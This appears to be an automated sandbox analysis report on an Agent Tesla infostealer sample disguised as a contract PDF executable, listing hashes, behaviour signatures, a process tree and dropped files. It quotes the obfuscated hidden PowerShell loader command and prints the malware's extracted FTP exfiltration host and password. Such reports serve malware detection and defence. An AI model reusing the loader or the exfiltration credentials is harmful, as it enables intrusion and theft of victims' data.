Analysis

  • max time kernel
    148s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    22-05-2024 18:04

General

  • Target

    CONTRACTUL MODIFICAT-pdf.bat.exe

  • Size

    857KB

  • MD5

    6606904cf124e2e43df5401efe1aa7f5

  • SHA1

    0700d6cb81beb6a3bb4ff4e941f4e260d7d6795f

  • SHA256

    47c8f1af1f9f8e3a0ad8f359cb14ea08b3261efde59260d8ec5b92d4dfd90587

  • SHA512

    abc409300b90e0db70a91ea64d8aa14458fdc153be7b228e586deaa3fbef68fb3e42d2a882d1aeaa3f25f325553affb204fed42e056f2b2ff7476050e32e2c13

  • SSDEEP

    12288:2TdHutP4ws2ERwovFRG4zNdE1SqYfsyN1fR8MbbAi77tkmY+V5Ekikwh+:2Ti4L2uwovjGiYFqsS1xbHnY+V5Okx

Malware Config

Extracted

Family

agenttesla

Credentials

  • Protocol:
    ftp
  • Host:
    ftp://ftp.piny.ro
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    playingboyz231

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\CONTRACTUL MODIFICAT-pdf.bat.exe
    "C:\Users\Admin\AppData\Local\Temp\CONTRACTUL MODIFICAT-pdf.bat.exe"
    1⤵
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:3056
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Licks=cat 'C:\Users\Admin\AppData\Roaming\sidonian\Bespyttedes.Civ';$Antihumanist=$Licks.substring(41927,3);.$Antihumanist($Licks)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2188
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
        3⤵
          PID:2672
        • C:\Program Files (x86)\windows mail\wab.exe
          "C:\Program Files (x86)\windows mail\wab.exe"
          3⤵
          • Suspicious use of NtCreateThreadExHideFromDebugger
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2808

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\sidonian\Bespyttedes.Civ

      Filesize

      78KB

      MD5

      1ef4bed7239f000331bdf0a88602f2a1

      SHA1

      e9330cb97761334bc1e3dfeb2594196458547a09

      SHA256

      b2f0b93f0795e5d02cef80a1a8ffb55470b3d903a08781090c2cef80ba12c2fe

      SHA512

      3a5073bff3b3d4b6fcd52abedeabc6797a2682d5a676a77c1198da3d26cabd52f82b59ec5d054f0c68aeaa330f33ea70c1746da7e138aa6516bd13163919175a

    • C:\Users\Admin\AppData\Roaming\sidonian\Silicone.Men

      Filesize

      300KB

      MD5

      4941d3dc5698b0ed0e3007a9299e8a91

      SHA1

      dd0a948f26ddc1c320eadd4878e14b38c8ca17e0

      SHA256

      6b3e288faec3c663717827c60d1ff261b7e28a4647a9ce1559518544c068d9a6

      SHA512

      eb0d9cd5de104a4cc5a19cf33b9fbf279a28c19e04afc120b4ca75abf68c03ea47b92ad58a260306d3ec45516c95566185ba510d80aef0ae9af9202676970038

    • memory/2188-9-0x0000000073AA1000-0x0000000073AA2000-memory.dmp

      Filesize

      4KB

    • memory/2188-10-0x0000000073AA0000-0x000000007404B000-memory.dmp

      Filesize

      5.7MB

    • memory/2188-11-0x0000000073AA0000-0x000000007404B000-memory.dmp

      Filesize

      5.7MB

    • memory/2188-12-0x0000000073AA0000-0x000000007404B000-memory.dmp

      Filesize

      5.7MB

    • memory/2188-13-0x0000000073AA0000-0x000000007404B000-memory.dmp

      Filesize

      5.7MB

    • memory/2188-17-0x00000000065C0000-0x00000000093AA000-memory.dmp

      Filesize

      45.9MB

    • memory/2188-18-0x0000000073AA0000-0x000000007404B000-memory.dmp

      Filesize

      5.7MB

    • memory/2808-19-0x0000000000610000-0x0000000001672000-memory.dmp

      Filesize

      16.4MB

    • memory/2808-20-0x0000000000610000-0x0000000000652000-memory.dmp

      Filesize

      264KB